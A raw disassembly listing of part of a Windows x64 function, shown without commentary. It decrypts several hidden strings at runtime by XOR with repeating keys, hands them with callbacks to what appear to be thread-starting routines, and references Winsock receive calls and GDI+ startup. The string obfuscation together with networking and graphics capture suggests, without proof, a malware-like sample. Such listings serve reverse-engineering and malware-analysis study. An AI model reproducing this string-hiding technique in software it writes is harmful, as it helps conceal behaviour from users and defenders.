mov dword [rbp + 0xb4], 0xa19a3785
mov dword [rbp + 0xb8], 0xd372d18e
mov ecx, 0xe00
mov eax, dword [rcx + rdi]
mov r14d, 0x15c0
test al, 1
jne 0x14006a27a
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x2c], 1
lea rax, [rcx + 0x2b]
lea rdx, [rbp + 0xbb]
cmp rcx, rdx
ja 0x14006a250
lea rdx, [rbp + 0x90]
cmp rax, rdx
jb 0x14006a250
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0xb0]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0xb8]
mov dword [rcx + 0x28], eax
jmp 0x14006a26d
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0xb0]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0xb8]
mov dword [rcx + 0x28], eax
lea rcx, [0x14018f6a0]
call fcn.14015b9c0
nop
add r14, rdi
cmp byte [r14 + 0x2c], 0
je 0x14006a368
xor byte [r14], 0xef
xor byte [r14 + 1], 0xa5
xor byte [r14 + 2], 0x17
xor byte [r14 + 3], 0xd3
xor byte [r14 + 4], 0xe9
xor byte [r14 + 5], 0x17
xor byte [r14 + 6], 0xc9
xor byte [r14 + 7], 0xd5
xor byte [r14 + 8], 0xef
xor byte [r14 + 9], 0xa5
xor byte [r14 + 0xa], 0x17
xor byte [r14 + 0xb], 0xd3
xor byte [r14 + 0xc], 0xe9
xor byte [r14 + 0xd], 0x17
xor byte [r14 + 0xe], 0xc9
xor byte [r14 + 0xf], 0xd5
xor byte [r14 + 0x10], 0xef
xor byte [r14 + 0x11], 0xa5
xor byte [r14 + 0x12], 0x17
xor byte [r14 + 0x13], 0xd3
xor byte [r14 + 0x14], 0xe9
xor byte [r14 + 0x15], 0x17
xor byte [r14 + 0x16], 0xc9
xor byte [r14 + 0x17], 0xd5
xor byte [r14 + 0x18], 0xef
xor byte [r14 + 0x19], 0xa5
xor byte [r14 + 0x1a], 0x17
xor byte [r14 + 0x1b], 0xd3
xor byte [r14 + 0x1c], 0xe9
xor byte [r14 + 0x1d], 0x17
xor byte [r14 + 0x1e], 0xc9
xor byte [r14 + 0x1f], 0xd5
xor byte [r14 + 0x20], 0xef
xor byte [r14 + 0x21], 0xa5
xor byte [r14 + 0x22], 0x17
xor byte [r14 + 0x23], 0xd3
xor byte [r14 + 0x24], 0xe9
xor byte [r14 + 0x25], 0x17
xor byte [r14 + 0x26], 0xc9
xor byte [r14 + 0x27], 0xd5
xor byte [r14 + 0x28], 0xef
xor byte [r14 + 0x29], 0xa5
xor byte [r14 + 0x2a], 0x17
xor byte [r14 + 0x2b], 0xd3
mov byte [r14 + 0x2c], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adee
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a3e3
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a3f3
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad16
mov ecx, 0xe7c
mov eax, dword [rcx + rdi]
mov ebx, 0x1690
test al, 1
jne 0x14006a438
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + rdi + 6], 0x11bef2d
mov dword [rbx + rdi], 0x983ac947
mov word [rbx + rdi + 4], 0x4ab8
lea rcx, [0x14018f620]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 9], 0
je 0x14006a468
xor byte [rbx], 0x1b
xor byte [rbx + 1], 0xad
xor byte [rbx + 2], 0x53
xor byte [rbx + 3], 0xeb
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x25
xor byte [rbx + 6], 0x5f
xor byte [rbx + 7], 0x8b
xor byte [rbx + 8], 0x1b
mov byte [rbx + 9], 0
mov ecx, 0x18
call fcn.14015b520
mov qword [rax], rbx
mov qword [rax + 8], r15
lea rsi, [0x140065ae0]
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728b0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adde
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a4de
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a4ee
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad1c
mov ecx, 0x1688
mov eax, dword [rcx + rdi]
mov ebx, 0xe20
test al, 1
jne 0x14006a53f
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + rdi + 0xb], 0x18f
mov dword [rbx + rdi], 0xfc66ef99
mov dword [rbx + rdi + 4], 0x91530e4a
mov word [rbx + rdi + 8], 0xffb5
mov byte [rbx + rdi + 0xa], WSAGetLastError
lea rcx, [0x14018f600]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0xc], 0
je 0x14006a57b
xor byte [rbx], 0xc5
xor byte [rbx + 1], 0x8b
xor byte [rbx + 2], 0xf
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0x29
xor byte [rbx + 5], 0x61
xor byte [rbx + 6], 0x21
xor byte [rbx + 7], 0xf5
xor byte [rbx + 8], 0xc5
xor byte [rbx + 9], 0x8b
xor byte [rbx + 0xa], 0xf
xor byte [rbx + 0xb], 0x8f
mov byte [rbx + 0xc], 0
mov ecx, 0x18
call fcn.14015b520
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728b0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adce
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a5ea
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a5fa
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad22
mov ecx, 0xc20
mov eax, dword [rcx + rdi]
mov ebx, 0xf48
test al, 1
jne 0x14006a648
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + rdi + 0xc], 0x1c7a647
mov dword [rbx + rdi], 0x741ea513
mov dword [rbx + rdi + 4], 0xa1b5b056
mov dword [rbx + rdi + 8], 0x6619a02c
lea rcx, [0x14018f5d0]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0xf], 0
je 0x14006a690
xor byte [rbx], 0x4f
xor byte [rbx + 1], 0xc1
xor byte [rbx + 2], 0x77
xor byte [rbx + 3], 7
xor byte [rbx + 4], 0x35
xor byte [rbx + 5], 0xdf
xor byte [rbx + 6], 0xc7
xor byte [rbx + 7], 0xc5
xor byte [rbx + 8], 0x4f
xor byte [rbx + 9], 0xc1
xor byte [rbx + 0xa], 0x77
xor byte [rbx + 0xb], 7
xor byte [rbx + 0xc], 0x35
xor byte [rbx + 0xd], 0xdf
xor byte [rbx + 0xe], 0xc7
mov byte [rbx + 0xf], 0
mov ecx, 0x18
call fcn.14015b520
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728b0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adbe
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a6ff
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a70f
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad28
movdqa xmm0, xmmword [0x1401dcd30]
mov dword [rbp + 0xe8], 0xd387083a
mov ecx, 0x16d4
mov eax, dword [rcx + rdi]
mov ebx, 0xbc8
test al, 1
jne 0x14006a796
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0xec]
cmp rcx, rdx
ja 0x14006a779
lea rdx, [rbp + 0xd8]
cmp rax, rdx
jb 0x14006a779
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0xe8]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x7b
jmp 0x14006a789
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0xe8]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x7b
lea rcx, [0x14018f5b0]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x15], 0
je 0x14006a7f6
xor byte [rbx], 0x57
xor byte [rbx + 1], 0x6d
xor byte [rbx + 2], 0xe9
xor byte [rbx + 3], 0xa7
xor byte [rbx + 4], 0x7b
xor byte [rbx + 5], 0x2d
xor byte [rbx + 6], 0xe3
xor byte [rbx + 7], 0xd5
xor byte [rbx + 8], 0x57
xor byte [rbx + 9], 0x6d
xor byte [rbx + 0xa], 0xe9
xor byte [rbx + 0xb], 0xa7
xor byte [rbx + 0xc], 0x7b
xor byte [rbx + 0xd], 0x2d
xor byte [rbx + 0xe], 0xe3
xor byte [rbx + 0xf], 0xd5
xor byte [rbx + 0x10], 0x57
xor byte [rbx + 0x11], 0x6d
xor byte [rbx + 0x12], 0xe9
xor byte [rbx + 0x13], 0xa7
xor byte [rbx + 0x14], 0x7b
mov byte [rbx + 0x15], 0
mov ecx, 0x18
call fcn.14015b520
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728b0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adae
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a865
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a875
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad2e
mov ecx, reloc.WS2_32.dll_recv
call fcn.14015b520
mov qword [rax], r15
lea rcx, [0x140064cd0]
mov qword [rax + 8], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728f0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ad9e
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14006aee0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad34
mov ecx, reloc.WS2_32.dll_recv
call fcn.14015b520
mov qword [rax], r15
lea rcx, [0x140066dc0]
mov qword [rax + 8], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728f0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ad8e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a95a
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a96a
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad3a
mov ecx, reloc.WS2_32.dll_recv
call fcn.14015b520
mov qword [rax], r15
lea rcx, [0x140065f90]
mov qword [rax + 8], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728f0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ad7e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006a9e7
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x14006a9f7
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad40
mov ecx, reloc.WS2_32.dll_recv
call fcn.14015b520
mov qword [rax], r15
lea rcx, [0x140066e60]
mov qword [rax + 8], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x1400728f0]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ad6e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x14006aa7c
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
mov rdi, qword [rsp + 0x58]
add rdi, 0x10
mov qword [rsp + 0x58], rdi
jmp 0x14006aa90
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
mov rdi, qword [rsp + 0x58]
cmp dword [rsp + 0x38], 0
jne 0x14006ad46
mov rbx, qword [rsp + 0x50]
cmp rbx, rdi
je 0x14006aae1
cmp dword [rbx + 8], 0
je 0x14006aadb
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbx + 8], eax
je 0x14006ad57
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x30], xmm0
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14015ac74
test eax, eax
jne 0x14006ad4c
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
jmp 0x14006aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov qword [rbp + 0x108], r12
mov byte [rbp + 0xf0], 0xa
xor r8d, r8d
lea rdx, [0x1401fe2f0]
lea rcx, [0x140202e78]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
call qword [0x140203138]
mov qword [0x140202e70], rax
lea rcx, [rbp + 0xf8]
call fcn.14005b960
test al, al
jne 0x14006ac19
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x14006ab84
mov rdx, qword [rbp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ab7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006acca
call fcn.14015b55c
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14006abe9
mov rax, rcx
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
je 0x14006abb3
nop dword [rax + rax]
cmp dword [rax + 8], 0
jne 0x14006ad68
add rax, 0x10
cmp rax, rdx
jne 0x14006aba0
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006abe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006ad62
call fcn.14015b55c
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.14015b500
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [0x140202e78]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [0x1401fe2f0], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd qword [0x1401fe300], xmm1
mov qword [0x140202e78], r12
mov rcx, qword [0x140202e70]
call qword [0x140203140]
lea rdx, [rbp + 0xf0]
mov rcx, qword [r15]
call fcn.14003a790
nop
mov rcx, qword [rbp + 0xf8]
test rcx, rcx
je 0x14006ab84
mov rdx, qword [rbp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ab7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006acca
jmp 0x14006ab7e
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
call fcn.140162118
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
call fcn.14016a03c
int3
mov ecx, 2
call fcn.14015a9b8
int3
mov ecx, 5
call fcn.14015a9b8
nop
call fcn.140162118
int3
call fcn.14016a03c
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
nop
mov dword [rsp + 0x38], r12d
mov ecx, 6
call fcn.14015a9b8
int3